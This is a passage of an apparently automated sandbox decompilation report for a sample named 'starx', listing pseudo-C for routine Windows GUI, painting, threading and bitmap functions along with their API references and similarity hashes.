Uniqueness Score: -1.00%

Function 0040B510, Relevance: 10.6, APIs: 7, Instructions: 56
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B510(void* __edx, void* __edi, void* __fp0) {
				void _v1024;
				char _v1088;
				long _v1092;
				void* _t12;
				char* _t14;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr _t24;
				long _t32;

				E0040B388(_t12,  &_v1024, __edx, __fp0, 0x400);
				_t14 =  *0x47e7d4; // 0x47f048
				if( *_t14 == 0) {
					_t16 =  *0x47e4d8; // 0x406cf8
					_t9 = _t16 + 4; // 0xffe9
					_t18 =  *0x47f664; // 0x400000
					LoadStringA(E0040505C(_t18),  *_t9,  &_v1088, 0x40);
					return MessageBoxA(0,  &_v1024,  &_v1088, 0x2010);
				}
				_t24 =  *0x47e544; // 0x47f218
				E0040283C(E00402B08(_t24));
				CharToOemA( &_v1024,  &_v1024);
				_t32 = E0040867C( &_v1024, __edi);
				WriteFile(GetStdHandle(0xfffffff4),  &_v1024, _t32,  &_v1092, 0);
				return WriteFile(GetStdHandle(0xfffffff4), 0x40b5d4, 2,  &_v1092, 0);
			}

0x0040b51f
0x0040b524
0x0040b52c
0x0040b593
0x0040b598
0x0040b59c
0x0040b5a7
0x00000000
0x0040b5bd
0x0040b52e
0x0040b538
0x0040b547
0x0040b557
0x0040b56a
0x00000000

APIs

Part of subcall function 0040B388: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040B3A5
Part of subcall function 0040B388: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040B3C9
Part of subcall function 0040B388: GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040B3E4
Part of subcall function 0040B388: LoadStringA.USER32 ref: 0040B47A

CharToOemA.USER32 ref: 0040B547
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0040B564
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040B56A
GetStdHandle.KERNEL32(000000F4,0040B5D4,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040B57F
WriteFile.KERNEL32(00000000,000000F4,0040B5D4,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040B585
LoadStringA.USER32 ref: 0040B5A7
MessageBoxA.USER32 ref: 0040B5BD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 94c0aee8b577c56e5408e6e1fbabbc5d8e7bd95015ecc90ecf1a24ba26f7177c
Instruction ID: 4652b1d1a4fe467027a84430b13fda4005c9ed4b8cf35ada29e26835659f2902
Opcode Fuzzy Hash: 94c0aee8b577c56e5408e6e1fbabbc5d8e7bd95015ecc90ecf1a24ba26f7177c
Instruction Fuzzy Hash: 36114CB2144304BED200F7A5CC82F9B77ACAB45308F40467BB745F60E2DA79D9448BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004350DC, Relevance: 9.3, APIs: 6, Instructions: 286
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004350DC(intOrPtr __eax, void* __ebx, signed int* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v44;
				struct tagMSG _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				long _t115;
				void* _t119;
				intOrPtr _t122;
				void* _t130;
				void* _t133;
				void* _t139;
				signed int _t148;
				void* _t152;
				long _t167;
				void* _t177;
				intOrPtr _t178;
				signed int _t180;
				intOrPtr _t184;
				signed int _t186;
				signed int _t195;
				int _t199;
				signed int _t205;
				signed int _t220;
				signed int* _t232;
				void* _t233;
				intOrPtr _t251;
				intOrPtr _t256;
				void* _t284;
				signed int _t293;
				intOrPtr _t295;
				intOrPtr _t296;

				_t291 = __esi;
				_t288 = __edi;
				_t295 = _t296;
				_t233 = 0xb;
				do {
					_push(0);
					_push(0);
					_t233 = _t233 - 1;
				} while (_t233 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t232 = __edx;
				_v8 = __eax;
				_push(_t295);
				_push(0x435494);
				_push( *[fs:eax]);
				 *[fs:eax] = _t296;
				E00442288(_v8, __edx);
				if( *((char*)(_v8 + 0x268)) == 0) {
					L40:
					_pop(_t251);
					 *[fs:eax] = _t251;
					_push(0x43549b);
					E00403FE4( &_v92, 5);
					E00403FC0( &_v72);
					E00403FE4( &_v68, 2);
					E00403FE4( &_v60, 2);
					return E00403FE4( &_v24, 2);
				} else {
					if( *((intOrPtr*)(_v8 + 0x276)) - 2 >= 0) {
						_t115 = GetTickCount();
						_t256 = _v8;
						__eflags = _t115 -  *((intOrPtr*)(_t256 + 0x26c)) - 0x1f4;
						if(_t115 -  *((intOrPtr*)(_t256 + 0x26c)) >= 0x1f4) {
							__eflags = _v8 + 0x270;
							E00403FC0(_v8 + 0x270);
						}
						 *((intOrPtr*)(_v8 + 0x26c)) = GetTickCount();
					} else {
						E0043CABC(_v8,  &_v56);
						E00404014(_v8 + 0x270, _v56);
					}
					_t119 =  *_t232 - 8;
					if(_t119 == 0) {
						__eflags = E00434FE8( &_v12,  &_v16, _t295);
						if(__eflags == 0) {
							_t122 = _v8;
							__eflags =  *((intOrPtr*)(_t122 + 0x276)) - 2;
							if( *((intOrPtr*)(_t122 + 0x276)) - 2 >= 0) {
								while(1) {
									L24:
									_t130 = E0040BF8C( *(_v8 + 0x270), E00404280( *(_v8 + 0x270)));
									__eflags = _t130 - 2;
									if(_t130 != 2) {
										break;
									}
									_t133 = E00404280( *(_v8 + 0x270));
									__eflags = _v8 + 0x270;
									E00404520(_v8 + 0x270, 1, _t133);
								}
								_t139 = E00404280( *(_v8 + 0x270));
								__eflags = _v8 + 0x270;
								E00404520(_v8 + 0x270, 1, _t139);
								L26:
								 *_t232 = 0;
								E0040346C(_v8, __eflags);
								goto L40;
							}
							E0043CABC(_v8,  &_v60);
							_t148 = E00404280(_v60);
							__eflags = _t148;
							if(_t148 <= 0) {
								goto L24;
							}
							E0043CABC(_v8,  &_v24);
							_t293 = _v12;
							while(1) {
								_t152 = E0040BF8C(_v24, _t293);
								__eflags = _t152 - 2;
								if(_t152 != 2) {
									break;
								}
								_t293 = _t293 - 1;
								__eflags = _t293;
							}
							E004044E0(_v24, _t293 - 1, 1,  &_v20);
							SendMessageA(E004432A4(_v8), 0x14e, 0xffffffff, 0);
							E004044E0(_v24, 0x7fffffff, _v16 + 1,  &_v68);
							E004042CC( &_v64, _v68, _v20);
							E0043CAEC(_v8, _t232, _v64, _t293);
							_t167 = E00406A08();
							SendMessageA(E004432A4(_v8), 0x142, 0, _t167);
							E0043CABC(_v8,  &_v72);
							E00404014(_v8 + 0x270, _v72);
							goto L26;
						}
						E00435014(_t232, _t291, __eflags, _t295);
						goto L26;
					} else {
						_t177 = _t119 - 1;
						if(_t177 == 0) {
							_t178 = _v8;
							__eflags =  *((char*)(_t178 + 0x269));
							if( *((char*)(_t178 + 0x269)) != 0) {
								_t180 = E00434010(_v8);
								__eflags = _t180;
								if(_t180 != 0) {
									E00434034(_v8, 0);
								}
							}
						} else {
							if(_t177 != 0x12) {
								_t184 = _v8;
								__eflags =  *((char*)(_t184 + 0x269));
								if( *((char*)(_t184 + 0x269)) != 0) {
									_t220 = E00434010(_v8);
									__eflags = _t220;
									if(_t220 == 0) {
										E00434034(_v8, 1);
									}
								}
								_t186 = E00434FE8( &_v12,  &_v16, _t295);
								__eflags = _t186;
								if(_t186 == 0) {
									E004041A8();
									E004042CC( &_v24, _v84,  *(_v8 + 0x270));
								} else {
									E004044E0( *(_v8 + 0x270), _v12, 1,  &_v76);
									_push(_v76);
									E004041A8();
									_pop(_t284);
									E004042CC( &_v24, _v80, _t284);
								}
								__eflags =  *_t232 & 0x000000ff;
								asm("bt [edx], eax");
								if(( *_t232 & 0x000000ff) >= 0) {
									_t195 = E004354A4(_v8, _t232, _v24, _t288, _t291);
									__eflags = _t195;
									if(_t195 != 0) {
										 *_t232 = 0;
									}
								} else {
									_t199 = PeekMessageA( &_v52, E004432A4(_v8), 0, 0, 0);
									__eflags = _t199;
									if(_t199 != 0) {
										__eflags = _v52.message - 0x102;
										if(_v52.message == 0x102) {
											E004041A8();
											E004042CC( &_v88, _v92, _v24);
											_t205 = E004354A4(_v8, _t232, _v88, _t288, _t291);
											__eflags = _t205;
											if(_t205 != 0) {
												PeekMessageA( &_v52, E004432A4(_v8), 0, 0, 1);
												 *_t232 = 0;
											}
										}
									}
								}
							}
						}
						goto L40;
					}
				}
			}

0x004350dc
0x004350dc
0x004350dd
0x004350df
0x004350e4
0x004350e4
0x004350e6
0x004350e8
0x004350e8
0x004350eb
0x004350ec
0x004350ed
0x004350ee
0x004350f0
0x004350f5
0x004350f6
0x004350fb
0x004350fe
0x00435106
0x00435115
0x0043544a
0x0043544c
0x0043544f
0x00435452
0x0043545f
0x00435467
0x00435474
0x00435481
0x00435493
0x0043511b
0x00435126
0x00435145
0x0043514a
0x00435153
0x00435158
0x0043515d
0x00435162
0x00435162
0x0043516f
0x00435128
0x0043512e
0x0043513e
0x0043513e
0x00435177
0x00435179
0x004351c8
0x004351ca
0x004351d8
0x004351e1
0x004351e3
0x004352dd
0x004352dd
0x004352f6
0x004352fb
0x004352fd
0x00000000
0x00000000
0x004352c4
0x004352ce
0x004352d8
0x004352d8
0x00435308
0x00435312
0x0043531c
0x00435321
0x00435321
0x0043532b
0x00000000
0x0043532b
0x004351ef
0x004351f7
0x004351fc
0x004351fe
0x00000000
0x00000000
0x0043520a
0x0043520f
0x00435215
0x0043521a
0x0043521f
0x00435221
0x00000000
0x00000000
0x00435214
0x00435214
0x00435214
0x00435232
0x00435249
0x0043525e
0x0043526c
0x00435277
0x00435283
0x00435299
0x004352a4
0x004352b4
0x00000000
0x004352b4
0x004351cd
0x00000000
0x0043517b
0x0043517b
0x0043517d
0x0043518c
0x0043518f
0x00435196
0x0043519f
0x004351a4
0x004351a6
0x004351b1
0x004351b1
0x004351a6
0x0043517f
0x00435181
0x00435335
0x00435338
0x0043533f
0x00435344
0x00435349
0x0043534b
0x00435352
0x00435352
0x0043534b
0x0043535e
0x00435364
0x00435366
0x004353a3
0x004353b7
0x00435368
0x0043537d
0x00435385
0x0043538b
0x00435396
0x00435397
0x00435397
0x004353c4
0x004353c9
0x004353cc
0x0043543e
0x00435443
0x00435445
0x00435447
0x00435447
0x004353ce
0x004353e1
0x004353e6
0x004353e8
0x004353ea
0x004353f1
0x004353f9
0x00435407
0x00435412
0x00435417
0x00435419
0x0043542e
0x00435433
0x00435433
0x00435419
0x004353f1
0x004353e8
0x004353cc
0x00435181
0x00000000
0x0043517d
0x00435179

APIs

GetTickCount.KERNEL32 ref: 00435145
GetTickCount.KERNEL32 ref: 00435167

Part of subcall function 00434FE8: SendMessageA.USER32 ref: 00435004

SendMessageA.USER32 ref: 00435249
SendMessageA.USER32 ref: 00435299

Part of subcall function 00435014: SendMessageA.USER32 ref: 00435055
Part of subcall function 00435014: SendMessageA.USER32 ref: 00435081
Part of subcall function 00435014: SendMessageA.USER32 ref: 004350B5

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 004353E1
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 0043542E

Part of subcall function 00434010: SendMessageA.USER32 ref: 00434024

Part of subcall function 00434034: SendMessageA.USER32 ref: 00434051
Part of subcall function 00434034: InvalidateRect.USER32(00000000,000000FF,000000FF), ref: 0043406E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Message$Send$CountPeekTick$InvalidateRect
String ID:
API String ID: 2065907832-0
Opcode ID: 76dcc0860c4756a86c5c4554227af9260c9c4a7bc13508152179430877496bc4
Instruction ID: b0f24c00582b205af2e83d7298a830d1602bc868ca9f38608321541dc00e9693
Opcode Fuzzy Hash: 76dcc0860c4756a86c5c4554227af9260c9c4a7bc13508152179430877496bc4
Instruction Fuzzy Hash: A0B17430A00509DBDF00EB95C986BDEB3B5AF48308F2450ABF504BB396C778AE45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00456454, Relevance: 9.2, APIs: 6, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00456454(intOrPtr* __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				struct HDC__* _v16;
				struct tagPAINTSTRUCT _v80;
				struct tagRECT _v96;
				struct tagRECT _v112;
				signed int _v116;
				long _v120;
				void* __ebp;
				void* _t68;
				void* _t94;
				struct HBRUSH__* _t97;
				intOrPtr _t105;
				void* _t118;
				void* _t127;
				intOrPtr _t140;
				intOrPtr _t146;
				void* _t147;
				void* _t148;
				void* _t150;
				void* _t152;
				intOrPtr _t153;

				_t148 = __esi;
				_t147 = __edi;
				_t138 = __edx;
				_t127 = __ebx;
				_t150 = _t152;
				_t153 = _t152 + 0xffffff8c;
				_v12 = __edx;
				_v8 = __eax;
				_t68 =  *_v12 - 0xf;
				if(_t68 == 0) {
					_v16 =  *(_v12 + 4);
					if(_v16 == 0) {
						 *(_v12 + 4) = BeginPaint( *(_v8 + 0x254),  &_v80);
					}
					_push(_t150);
					_push(0x456622);
					_push( *[fs:eax]);
					 *[fs:eax] = _t153;
					if(_v16 == 0) {
						GetWindowRect( *(_v8 + 0x254),  &_v96);
						E0043C600(_v8,  &_v120,  &_v96);
						_v96.left = _v120;
						_v96.top = _v116;
						E0043B3F8( *(_v12 + 4),  ~(_v96.top),  ~(_v96.left));
					}
					E00440F58(_v8, _t127, _v12, _t147, _t148);
					_pop(_t140);
					 *[fs:eax] = _t140;
					_push(0x456630);
					if(_v16 == 0) {
						return EndPaint( *(_v8 + 0x254),  &_v80);
					}
					return 0;
				} else {
					_t94 = _t68 - 5;
					if(_t94 == 0) {
						_t97 = E0041D28C( *((intOrPtr*)(_v8 + 0x170)));
						 *((intOrPtr*)( *_v8 + 0x44))();
						FillRect( *(_v12 + 4),  &_v112, _t97);
						if( *((char*)(_v8 + 0x22f)) == 2 &&  *(_v8 + 0x254) != 0) {
							GetClientRect( *(_v8 + 0x254),  &_v96);
							FillRect( *(_v12 + 4),  &_v96, E0041D28C( *((intOrPtr*)(_v8 + 0x170))));
						}
						_t105 = _v12;
						 *((intOrPtr*)(_t105 + 0xc)) = 1;
					} else {
						_t118 = _t94 - 0x2b;
						if(_t118 == 0) {
							E004563C8(_t150);
							_t105 = _v8;
							if( *((char*)(_t105 + 0x22f)) == 2) {
								if(E004568F0(_v8) == 0 || E00456414(_t138, _t150) == 0) {
									_t146 = 1;
								} else {
									_t146 = 0;
								}
								_t105 = E0045372C( *(_v8 + 0x254), _t146);
							}
						} else {
							if(_t118 != 0x45) {
								_t105 = E004563C8(_t150);
							} else {
								E004563C8(_t150);
								_t105 = _v12;
								if( *((intOrPtr*)(_t105 + 0xc)) == 1) {
									_t105 = _v12;
									 *((intOrPtr*)(_t105 + 0xc)) = 0xffffffff;
								}
							}
						}
					}
					return _t105;
				}
			}

0x00456454
0x00456454
0x00456454
0x00456454
0x00456455
0x00456457
0x0045645a
0x0045645d
0x00456465
0x00456468
0x00456578
0x0045657f
0x00456597
0x00456597
0x0045659c
0x0045659d
0x004565a2
0x004565a5
0x004565ac
0x004565bc
0x004565ca
0x004565d2
0x004565d8
0x004565eb
0x004565eb
0x004565f6
0x004565fd
0x00456600
0x00456603
0x0045660c
0x00000000
0x0045661c
0x00456621
0x0045646e
0x0045646e
0x00456471
0x004564b1
0x004564bf
0x004564cd
0x004564dc
0x004564f8
0x00456517
0x00456517
0x0045651c
0x0045651f
0x00456473
0x00456473
0x00456476
0x0045652c
0x00456532
0x0045653c
0x0045654c
0x0045655d
0x00456559
0x00456559
0x00456559
0x00456568
0x00456568
0x0045647c
0x0045647f
0x0045662a
0x00456485
0x00456486
0x0045648c
0x00456493
0x00456499
0x0045649c
0x0045649c
0x00456493
0x0045647f
0x00456476
0x00456633
0x00456633

APIs

FillRect.USER32 ref: 004564CD
GetClientRect.USER32(00000000,?), ref: 004564F8
FillRect.USER32 ref: 00456517

Part of subcall function 004563C8: CallWindowProcA.USER32 ref: 00456402

BeginPaint.USER32(?,?), ref: 0045658F
GetWindowRect.USER32 ref: 004565BC
EndPaint.USER32(?,?,00456630), ref: 0045661C

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$FillPaintWindow$BeginCallClientProc
String ID:
API String ID: 901200654-0
Opcode ID: fe18451d1cb4adf327d0c9efbe0bc08489fef67f19ae2ff3ab864d7a56032b90
Instruction ID: 23a23fc6829bb45344debc21e72d0a55dd4b3796bcf355b4066feb42c63b97ce
Opcode Fuzzy Hash: fe18451d1cb4adf327d0c9efbe0bc08489fef67f19ae2ff3ab864d7a56032b90
Instruction Fuzzy Hash: 26510E71A00108EFCB00DFA9D589E9DB7F9AF08315F9581A6F804A7356D738AE49CF18

Uniqueness

Uniqueness Score: -1.00%

Function 004194E8, Relevance: 9.1, APIs: 6, Instructions: 109
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004194E8(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				char _v20;
				char _v24;
				long _t22;
				char _t29;
				void* _t53;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t72 = _t73;
				_t74 = _t73 + 0xffffffec;
				_push(__esi);
				_push(__edi);
				_t53 = __eax;
				_t22 = GetCurrentThreadId();
				_t62 =  *0x47e930; // 0x47f030
				if(_t22 !=  *_t62) {
					_v24 = GetCurrentThreadId();
					_v20 = 0;
					_t61 =  *0x47e74c; // 0x41087c
					E0040B6D0(_t53, _t61, 1, __edi, __esi, 0,  &_v24);
					E004039FC();
				}
				if(_t53 <= 0) {
					E004194C0();
				} else {
					E004194CC(_t53);
				}
				_v16 = 0;
				_push(0x47f868);
				L00405FFC();
				_push(_t72);
				_push(0x419676);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v16 = InterlockedExchange( &E004673E8, _v16);
				_push(_t72);
				_push(0x419657);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				if(_v16 == 0 ||  *((intOrPtr*)(_v16 + 8)) <= 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				_v5 = _t29;
				if(_v5 == 0) {
					L15:
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(E0041965E);
					return E00403270(_v16);
				} else {
					if( *((intOrPtr*)(_v16 + 8)) > 0) {
						_v12 = E00413C44(_v16, 0);
						E00413B34(_v16, 0);
						L0040617C();
						 *[fs:eax] = _t74;
						 *[fs:eax] = _t74;
						 *((intOrPtr*)( *_v12 + 8))( *[fs:eax], _t72,  *[fs:eax], 0x419621, _t72, 0x47f868);
						_pop(_t66);
						 *[fs:eax] = _t66;
						_t67 = 0x4195f2;
						 *[fs:eax] = _t67;
						_push(E00419628);
						_push(0x47f868);
						L00405FFC();
						return 0;
					} else {
						goto L15;
					}
				}
			}

0x004194e9
0x004194eb
0x004194ef
0x004194f0
0x004194f1
0x004194f3
0x004194f8
0x00419500
0x00419507
0x0041950a
0x00419514
0x00419521
0x00419526
0x00419526
0x0041952d
0x00419538
0x0041952f
0x00419531
0x00419531
0x0041953f
0x00419542
0x00419547
0x0041954e
0x0041954f
0x00419554
0x00419557
0x00419568
0x0041956d
0x0041956e
0x00419573
0x00419576
0x0041957d
0x00419588
0x0041958c
0x0041958c
0x0041958c
0x0041958e
0x00419595
0x00419641
0x00419643
0x00419646
0x00419649
0x00419656
0x0041959b
0x0041963b
0x004195aa
0x004195b2
0x004195bc
0x004195cc
0x004195da
0x004195e5
0x004195ea
0x004195ed
0x0041960b
0x0041960e
0x00419611
0x00419616
0x0041961b
0x00419620
0x00000000
0x00000000
0x00000000
0x0041963b

APIs

GetCurrentThreadId.KERNEL32 ref: 004194F3
GetCurrentThreadId.KERNEL32 ref: 00419502

Part of subcall function 004194C0: ResetEvent.KERNEL32(00000208,0041953D,?,?,00000000), ref: 004194C6

RtlEnterCriticalSection.KERNEL32(0047F868,?,?,00000000), ref: 00419547
InterlockedExchange.KERNEL32(004673E8,?), ref: 00419563
RtlLeaveCriticalSection.KERNEL32(0047F868,00000000,00419657,?,00000000,00419676,?,0047F868,?,?,00000000), ref: 004195BC
RtlEnterCriticalSection.KERNEL32(0047F868,00419628,00419657,?,00000000,00419676,?,0047F868,?,?,00000000), ref: 0041961B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalSection$CurrentEnterThread$EventExchangeInterlockedLeaveReset
String ID:
API String ID: 2189153385-0
Opcode ID: d0e17dd030158d7ed4d790d32b4a4a18efe3e7360a60435c9abc0c97e0daad3d
Instruction ID: f6c80c6b3dced5cbbe92533748e3ffc666c69d7cd14a4f4887bdb1ff67ed7edf
Opcode Fuzzy Hash: d0e17dd030158d7ed4d790d32b4a4a18efe3e7360a60435c9abc0c97e0daad3d
Instruction Fuzzy Hash: AF31C631A04304AFD701DF66C862A9DB7F5EB49704F6184B7F404A2691D77D5D90CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E890, Relevance: 9.1, APIs: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041E890(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, int _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				signed short _v44;
				int _t36;
				signed int _t37;
				signed short _t38;
				signed int _t39;
				signed short _t43;
				signed int* _t47;
				signed int _t51;
				intOrPtr _t61;
				void* _t67;
				void* _t68;
				void* _t69;
				intOrPtr _t70;

				_t68 = _t69;
				_t70 = _t69 + 0xffffff90;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t47 = _a8;
				_v24 = _v16 << 4;
				_v20 = E00407B50(_v24, __eflags);
				 *[fs:edx] = _t70;
				_t51 = _v24;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:edx], 0x41eb87, _t68, __edi, __esi, __ebx, _t67);
				if(( *_t47 | _t47[1]) != 0) {
					_t36 = _a4;
					 *_t36 =  *_t47;
					 *(_t36 + 4) = _t47[1];
				} else {
					 *_a4 = GetSystemMetrics(0xb);
					_t36 = GetSystemMetrics(0xc);
					 *(_a4 + 4) = _t36;
				}
				_push(0);
				L004065DC();
				_v44 = _t36;
				if(_v44 == 0) {
					E0041DD54(_t51);
				}
				_push(_t68);
				_push(0x41e979);
				_push( *[fs:edx]);
				 *[fs:edx] = _t70;
				_push(0xe);
				_t37 = _v44;
				_push(_t37);
				L00406314();
				_push(0xc);
				_t38 = _v44;
				_push(_t38);
				L00406314();
				_t39 = _t37 * _t38;
				if(_t39 <= 8) {
					__eflags = 1;
					_v32 = 1 << _t39;
				} else {
					_v32 = 0x7fffffff;
				}
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(0x41e980);
				_t43 = _v44;
				_push(_t43);
				_push(0);
				L0040681C();
				return _t43;
			}

0x0041e891
0x0041e893
0x0041e899
0x0041e89c
0x0041e89f
0x0041e8a2
0x0041e8ab
0x0041e8b6
0x0041e8c4
0x0041e8ca
0x0041e8d2
0x0041e8da
0x0041e8f7
0x0041e8fc
0x0041e901
0x0041e8dc
0x0041e8e6
0x0041e8ea
0x0041e8f2
0x0041e8f2
0x0041e904
0x0041e906
0x0041e90b
0x0041e912
0x0041e914
0x0041e914
0x0041e91b
0x0041e91c
0x0041e921
0x0041e924
0x0041e927
0x0041e929
0x0041e92c
0x0041e92d
0x0041e934
0x0041e936
0x0041e939
0x0041e93a
0x0041e943
0x0041e949
0x0041e95b
0x0041e95d
0x0041e94b
0x0041e94b
0x0041e94b
0x0041e962
0x0041e965
0x0041e968
0x0041e96d
0x0041e970
0x0041e971
0x0041e973
0x0041e978

APIs

GetSystemMetrics.USER32 ref: 0041E8DE
GetSystemMetrics.USER32 ref: 0041E8EA
739EAC50.USER32(00000000), ref: 0041E906
739EAD70.GDI32(00000000,0000000E,00000000,0041E979,?,00000000), ref: 0041E92D
739EAD70.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041E979,?,00000000), ref: 0041E93A
739EB380.USER32(00000000,00000000,0041E980,0000000E,00000000,0041E979,?,00000000), ref: 0041E973

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MetricsSystem$B380
String ID:
API String ID: 3145338429-0
Opcode ID: 28122cc7e572e53c8d26e7f50599b0030ee21990a1633d9db7e88c0dd052433e
Instruction ID: 7848c84e0664569b00ef2bdbcbd06c0218b96b2177bdaca9d9be17359b38b447
Opcode Fuzzy Hash: 28122cc7e572e53c8d26e7f50599b0030ee21990a1633d9db7e88c0dd052433e
Instruction Fuzzy Hash: 8D3143B4A00204EFEB00EF65C891AAEBBF5FF48714F118566E815AB391C635AD41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED00, Relevance: 9.1, APIs: 6, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0041ED00(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _t29;
				struct tagBITMAPINFO* _t32;
				intOrPtr _t39;
				struct HBITMAP__* _t43;
				void* _t46;

				_t32 = __ecx;
				_t43 = __eax;
				E0041EBB0(__eax, _a4, __ecx);
				_v12 = 0;
				_push(0);
				L0040626C();
				_v16 = 0;
				_push(_t46);
				_push(0x41ed9d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffff4;
				if(__edx != 0) {
					_push(0);
					_push(__edx);
					_t29 = _v16;
					_push(_t29);
					L004063E4();
					_v12 = _t29;
					_push(_v16);
					L004063B4();
				}
				_v5 = GetDIBits(_v16, _t43, 0, _t32->bmiHeader.biHeight, _a8, _t32, 0) != 0;
				_pop(_t39);
				 *[fs:eax] = _t39;
				_push(0x41eda4);
				if(_v12 != 0) {
					_push(0);
					_push(_v12);
					_push(_v16);
					L004063E4();
				}
